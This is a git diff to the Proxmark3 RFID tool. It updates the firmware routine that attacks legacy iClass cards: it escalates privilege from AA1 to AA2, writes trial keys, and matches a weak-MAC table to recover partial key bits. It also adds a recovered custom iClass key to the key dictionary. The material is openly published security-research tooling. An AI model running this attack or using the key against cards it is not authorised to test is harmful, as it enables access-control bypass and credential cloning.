diff --git a/CHANGELOG.md b/CHANGELOG.md index a55e2bd4f3..1ab2736e57 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,9 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `hf iclass info` - now checks for cards silicon version (@antiklesys) +- Changed `hf iclass legrec` - updated script implementation to ensure functionality (@antiklesys) +- Added recovered iclass custom key to dictionary (@antiklesys) - Added support for all Hitag S response protocol mode (@douniwan5788) - Fixed 'hf_young.c' - flags declaration was missing a semicolon (@jakkpotts) - Changed `hf mf sim` - add option to allow key b to be used even if readable (@doegox) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 00f9abe1c8..2701eec0c0 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2157,7 +2157,7 @@ void iClass_Restore(iclass_restore_req_t *msg) { } } -void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) { +static void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) { uint32_t carry = index; memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE); @@ -2176,77 +2176,20 @@ void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t ind void iClass_Recover(iclass_recover_req_t *msg) { bool shallow_mod = false; - - LED_A_ON(); - Dbprintf(_RED_("Interrupting this process will render the card unusable!")); - - Iso15693InitReader(); - //Authenticate with AA2 with the standard key to get the AA2 mac - //Step0 Card Select Routine - - uint32_t eof_time = 0; - picopass_hdr_t hdr = {0}; - - bool res = select_iclass_tag(&hdr, msg->req2.use_credit_key, &eof_time, shallow_mod); - //bool res = select_iclass_tag(&hdr, true, &eof_time, shallow_mod); - if (res == false) { - Dbprintf(_RED_("Unable to select card! Stopping.")); - goto out; - } else { - DbpString(_GREEN_("Card selected successfully!")); - } - - //Step1 Authenticate with AA2 using K2 - - uint8_t mac2[4] = {0}; - uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - res = authenticate_iclass_tag(&msg->req2, &hdr, &start_time, &eof_time, mac2); - if (res == false) { - Dbprintf(_RED_("Unable to authenticate with AA2 using K2! Stopping.")); - goto out; - } else { - DbpString(_GREEN_("AA2 authentication with K2 successful!")); - } - + uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t genkeyblock[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint32_t index = msg->index; + int bits_found = -1; + bool recovered = false; + bool completed = false; uint8_t div_key2[8] = {0}; - memcpy(div_key2, hdr.key_c, 8); - - //cycle reader to reset cypher state and be able to authenticate with k1 trace - switch_off(); - Iso15693InitReader(); - DbpString(_YELLOW_("Cycled Reader...")); - - //Step0 Card Select Routine - - eof_time = 0; - //hdr = {0}; - res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); - if (res == false) { - Dbprintf(_RED_("Unable to select card after reader cycle! Stopping.")); - goto out; - } else { - DbpString(_GREEN_("Card selected successfully!")); - } - - //Step1 Authenticate with AA1 using trace - - uint8_t mac1[4] = {0}; - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); - if (res == false) { - Dbprintf(_RED_("Unable to authenticate on AA1 using macs! Stopping.")); - goto out; - } else { - DbpString(_GREEN_("Authenticated with AA1 with macs!")); - } + uint32_t eof_time = 0; + uint32_t start_time = 0; + uint8_t read_check_cc[] = { 0x80 | ICLASS_CMD_READCHECK, 0x18 }; //block 24 + read_check_cc[0] = 0x10 | ICLASS_CMD_READCHECK; //use credit key + uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs - //Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1 - uint8_t blockno = 24; - uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00}; - AddCrc(cmd_read + 1, 1); - uint8_t resp[10]; - DbpString(_YELLOW_("Attempting privilege escalation...")); - res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod); + /* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. */ static uint8_t iclass_mac_table[8][8] = { //Reference weak macs table { 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000 @@ -2258,107 +2201,227 @@ void iClass_Recover(iclass_recover_req_t *msg) { { 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110 { 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111 }; - //Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number - static uint32_t iclass_mac_table_bit_values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215}; - - /* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. - If we concatenate the last three bits of each key byte, we have a 24 bits long binary string. - If we convert that string to decimal we obtain the decimal numbers in iclass_mac_table_bit_values - Xorring the index of iterations against those decimal numbers allows us to retrieve the what was the corresponding sequence of bits of the original key in decimal format. */ - uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - uint32_t index = 1; - int bits_found = -1; + LED_A_ON(); + DbpString(_RED_("Interrupting this process will render the card unusable!")); + memcpy(div_key2, msg->nfa, 8); //START LOOP + uint32_t loops = 1; + while (bits_found == -1) { + bool card_select = false; + bool card_auth = false; + int reinit_tentatives = 0; + uint8_t original_mac[8] = {0}; + uint16_t resp_len = 0; + int res2; + uint8_t resp[10] = {0}; + uint8_t mac1[4] = {0}; + uint8_t mac2[4] = {0}; + picopass_hdr_t hdr = {0}; + bool res = false; + + while(!card_select || !card_auth){ + Iso15693InitReader(); //has to be at the top as it starts tracing + if(!msg->debug){ + set_tracing(false); //disable tracing to prevent crashes - set to true for debugging + }else{ + if (loops == 1){ + clear_trace(); //if we're debugging better to clear the trace but do it only on the first loop + } + } + if(msg->test){ + Dbprintf(_YELLOW_("*Cycled Reader*") " ----------------- TEST Index - Loops: "_YELLOW_("%3d / %3d") " --------------*",loops,msg->loop); + }else{ + Dbprintf(_YELLOW_("*Cycled Reader*") " ----------------- Index: "_RED_("%3d")" Loops: "_YELLOW_("%3d / %3d") " --------------*",index,loops,msg->loop); + } + //Step0 Card Select Routine + eof_time = 0; //reset eof time + res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); + if (res == false) { + DbpString(_RED_("Unable to select card after reader cycle! Retrying...")); + } else { + DbpString(_GREEN_("Card selected successfully!")); + card_select = true; + } - //Step3 Calculate New Key - uint8_t genkeyblock[PICOPASS_BLOCK_SIZE]; - uint8_t genkeyblock_old[PICOPASS_BLOCK_SIZE]; - uint8_t xorkeyblock[PICOPASS_BLOCK_SIZE]; - generate_single_key_block_inverted(zero_key, index, genkeyblock); + //Step1 Authenticate with AA1 using trace + if(card_select){ + memcpy(original_mac, msg->req.key, 8); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res == false) { + DbpString(_RED_("Unable to authenticate on AA1 using macs! Retrying...")); + }else { + DbpString(_GREEN_("AA1 authentication with macs successful!")); + card_auth = true; + } + } + if(!card_auth || !card_select){ + reinit_tentatives++; + switch_off(); + } + if(reinit_tentatives == 5){ + DbpString(_RED_("Unable to select or authenticate with card multiple times! Stopping.")); + goto out; + } + } - //NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED - //xor the new key against the previously generated key so that we only update the difference - if (index != 0) { - generate_single_key_block_inverted(zero_key, index - 1, genkeyblock_old); - for (int i = 0; i < 8 ; i++) { - xorkeyblock[i] = genkeyblock[i] ^ genkeyblock_old[i]; + //Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1 + uint8_t blockno = 24; + uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00}; + AddCrc(cmd_read + 1, 1); + int priv_esc_tries = 0; + bool priv_esc = false; + while(!priv_esc){ + //The privilege escalation is done with a readcheck and not just a normal read! + iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); + // expect a 8-byte response here + res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); + if (res2 != PM3_SUCCESS || resp_len != 8){ + DbpString(_YELLOW_("Privilege Escalation -> ")_RED_("Read failed! Trying again...")); + priv_esc_tries++; + }else{ + DbpString(_YELLOW_("Privilege Escalation -> ")_GREEN_("Response OK!")); + priv_esc = true; + } + if(priv_esc_tries == 5){ + DbpString(_RED_("Unable to complete privilege escalation! Stopping.")); + goto out; } - } else { - memcpy(xorkeyblock, genkeyblock, PICOPASS_BLOCK_SIZE); + } + + generate_single_key_block_inverted(zero_key, index, genkeyblock); + if(msg->test){ + memcpy(genkeyblock, zero_key, PICOPASS_BLOCK_SIZE); } //Step4 Calculate New Mac - bool use_mac = true; uint8_t wb[9] = {0}; blockno = 3; wb[0] = blockno; - memcpy(wb + 1, xorkeyblock, 8); + memcpy(wb + 1, genkeyblock, 8); doMAC_N(wb, sizeof(wb), div_key2, mac2); + bool use_mac = true; + bool written = false; + bool write_error = false; + while(written == false && write_error == false){ + //Step5 Perform Write + if (iclass_writeblock_ext(blockno, genkeyblock, mac2, use_mac, shallow_mod)) { + DbpString("Wrote key: "); + Dbhexdump(8, genkeyblock, false); + } + //Reset cypher state + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); + //try to authenticate with the original mac to verify the write happened + memcpy(msg->req.key, original_mac, 8); + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if(msg->test){ + if (res != true) { + DbpString(_RED_("*** CARD EPURSE IS SILENT! RISK OF BRICKING! DO NOT EXECUTE KEY UPDATES! SCAN IT ON READER FOR EPURSE UPDATE, COLLECT NEW TRACES AND TRY AGAIN! ***")); + goto out; + }else{ + DbpString(_GREEN_("*** CARD EPURSE IS LOUD! OK TO ATTEMPT KEY RETRIEVAL! RUN AGAIN WITH -notest ***")); + completed = true; + goto out; + } + }else{ + if (res != true) { + DbpString("Write Operation : "_GREEN_("VERIFIED! Card Key Updated!")); + written = true; + }else{ + DbpString("Write Operation : "_RED_("FAILED! Card Key is the Original. Retrying...")); + write_error = true; + } + } + } - //Step5 Perform Write + if(!write_error){ + //Step6 Perform 8 authentication attempts + 1 to verify if we found the weak key + for (int i = 0; i < 8 ; ++i) { + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); + //need to craft the authentication payload accordingly + memcpy(msg->req.key, iclass_mac_table[i], 8); + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter + if (res == true) { + bits_found = i; + DbpString(_RED_("--------------------------------------------------------")); + Dbprintf("Decimal Value of last 3 bits: " _GREEN_("[%3d]"), bits_found); + DbpString(_RED_("--------------------------------------------------------")); + recovered = true; + } + } - DbpString("Generated XOR Key: "); - Dbhexdump(8, xorkeyblock, false); + //regardless of bits being found, restore the original key and verify it + bool reverted = false; + uint8_t revert_retries = 0; + while(!reverted){ + //Regain privilege escalation with a readcheck + iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); + res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); + + DbpString(_YELLOW_("Attempting to restore the original key. ")); + if (iclass_writeblock_ext(blockno, genkeyblock, mac2, use_mac, shallow_mod)) { + DbpString("Restore of Original Key "_GREEN_("successful.")); + } else { + DbpString("Restore of Original Key " _RED_("failed.")); + } + DbpString(_YELLOW_("Verifying Key Restore...")); + //Do a readcheck first to reset the cypher state + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); + + //need to craft the authentication payload accordingly + memcpy(msg->req.key, original_mac, 8); + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res == true) { + DbpString("Restore of Original Key "_GREEN_("VERIFIED! Card is usable again.")); + reverted = true; + if (recovered){ + goto restore; + } + }else{ + DbpString("Restore of Original Key "_RED_("VERIFICATION FAILED! Trying again...")); + } - if (iclass_writeblock_ext(blockno, xorkeyblock, mac2, use_mac, shallow_mod)) { - Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno); - } else { - Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno); - if (index > 1) { - Dbprintf(_RED_("Card is likely to be unusable!")); + revert_retries++; + if(revert_retries >= 7){ //must always be an odd number! + Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries); + goto out; + } } + + } + + if(loops >= msg->loop){ + completed = true; goto out; } - //Step6 Perform 8 authentication attempts - - for (int i = 0; i < 8 ; ++i) { - //need to craft the authentication payload accordingly - memcpy(msg->req.key, iclass_mac_table[i], 8); - res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter - if (res == true) { - bits_found = iclass_mac_table_bit_values[i] ^ index; - Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index); - Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iclass_mac_table_bit_values[i]); - Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found); - goto restore; - } + if(!write_error){ //if there was a write error, re-run the loop for the same key index + loops++; + index++; } - index++; + }//end while restore: ;//empty statement for compilation - uint8_t partialkey[PICOPASS_BLOCK_SIZE]; - convertToHexArray(bits_found, partialkey); - - uint8_t resetkey[PICOPASS_BLOCK_SIZE]; - convertToHexArray(index, resetkey); - - //Calculate reset Mac - - bool use_mac = true; - uint8_t wb[9] = {0}; - blockno = 3; - wb[0] = blockno; - memcpy(wb + 1, resetkey, 8); - doMAC_N(wb, sizeof(wb), div_key2, mac2); - - //Write back the card to the original key - DbpString(_YELLOW_("Restoring Card to the original key using Reset Key: ")); - Dbhexdump(8, resetkey, false); - if (iclass_writeblock_ext(blockno, resetkey, mac2, use_mac, shallow_mod)) { - Dbprintf("Restore of Original Key "_GREEN_("successful. Card is usable again.")); - } else { - Dbprintf("Restore of Original Key " _RED_("failed. Card is likely unusable.")); + uint8_t partialkey[PICOPASS_BLOCK_SIZE] = {0}; + + for(int i = 0; i < PICOPASS_BLOCK_SIZE; i++){ + partialkey[i] = genkeyblock[i] ^ bits_found; } + //Print the 24 bits found from k1 - DbpString(_YELLOW_("Raw Key Partial Bytes: ")); + DbpString(_RED_("--------------------------------------------------------")); + DbpString(_RED_("SUCCESS! Raw Key Partial Bytes: ")); Dbhexdump(8, partialkey, false); + DbpString(_RED_("--------------------------------------------------------")); switch_off(); reply_ng(CMD_HF_ICLASS_RECOVER, PM3_SUCCESS, NULL, 0); @@ -2366,6 +2429,10 @@ void iClass_Recover(iclass_recover_req_t *msg) { out: switch_off(); - reply_ng(CMD_HF_ICLASS_RECOVER, PM3_ESOFT, NULL, 0); + if(completed){ + reply_ng(CMD_HF_ICLASS_RECOVER, PM3_EINVARG, NULL, 0); + }else{ + reply_ng(CMD_HF_ICLASS_RECOVER, PM3_ESOFT, NULL, 0); + } } diff --git a/armsrc/iclass.h b/armsrc/iclass.h index 1480ef56c1..2185fd7946 100644 --- a/armsrc/iclass.h +++ b/armsrc/iclass.h @@ -71,6 +71,5 @@ bool authenticate_iclass_tag(iclass_auth_req_t *payload, picopass_hdr_t *hdr, ui uint8_t get_pagemap(const picopass_hdr_t *hdr); void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod); -void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock); void iClass_Recover(iclass_recover_req_t *msg); #endif diff --git a/client/dictionaries/iclass_default_keys.dic b/client/dictionaries/iclass_default_keys.dic index c717cd88fc..d1d76d2b15 100644 --- a/client/dictionaries/iclass_default_keys.dic +++ b/client/dictionaries/iclass_default_keys.dic @@ -39,3 +39,5 @@ C1B74D7478053AE2 # # default iCLASS RFIDeas 6B65797374726B72 +# Retrieved from Custom Keyed Systems +E9924C13F4BFA82C diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index 43eeff9fc3..3b2cce3bc2 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -1411,7 +1411,7 @@ static bool HF14B_ask_ct_reader(bool verbose) { return false; } -static bool HF14B_picopass_reader(bool verbose) { +bool HF14B_picopass_reader(bool verbose, bool info) { iso14b_raw_cmd_t packet = { .flags = (ISO14B_CONNECT | ISO14B_SELECT_PICOPASS | ISO14B_DISCONNECT), @@ -1437,8 +1437,10 @@ static bool HF14B_picopass_reader(bool verbose) { return false; } memcpy(card, resp.data.asBytes, sizeof(picopass_hdr_t)); - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "iCLASS / Picopass CSN: " _GREEN_("%s"), sprint_hex(card->csn, sizeof(card->csn))); + if(info){ + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "iCLASS / Picopass CSN: " _GREEN_("%s"), sprint_hex(card->csn, sizeof(card->csn))); + } free(card); return true; } @@ -3034,6 +3036,7 @@ int infoHF14B(bool verbose, bool do_aid_search) { // get and print general info about all known 14b chips int readHF14B(bool loop, bool verbose, bool read_plot) { bool found = false; + bool info = true; int res = PM3_SUCCESS; do { found = false; @@ -3049,7 +3052,7 @@ int readHF14B(bool loop, bool verbose, bool read_plot) { goto plot; // Picopass - found |= HF14B_picopass_reader(verbose); + found |= HF14B_picopass_reader(verbose, info); if (found) goto plot; diff --git a/client/src/cmdhf14b.h b/client/src/cmdhf14b.h index 009395ba20..0677185073 100644 --- a/client/src/cmdhf14b.h +++ b/client/src/cmdhf14b.h @@ -31,4 +31,6 @@ int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card); int infoHF14B(bool verbose, bool do_aid_search); int readHF14B(bool loop, bool verbose, bool read_plot); +bool HF14B_picopass_reader(bool verbose, bool info); + #endif diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index f891b728c4..cc78ce4146 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -40,6 +40,7 @@ #include "crypto/asn1utils.h" // ASN1 decoder #include "preferences.h" #include "generator.h" +#include "cmdhf14b.h" #define NUM_CSNS 9 @@ -5379,6 +5380,11 @@ int info_iclass(bool shallow_mod) { uint8_t cardtype = get_mem_config(hdr); PrintAndLogEx(SUCCESS, " Card type.... " _GREEN_("%s"), card_types[cardtype]); + if(HF14B_picopass_reader(false, false)){ + PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("Old Silicon (14b support)")); + }else{ + PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("NEW Silicon (No 14b support)")); + } if (legacy) { int res = PM3_ESOFT;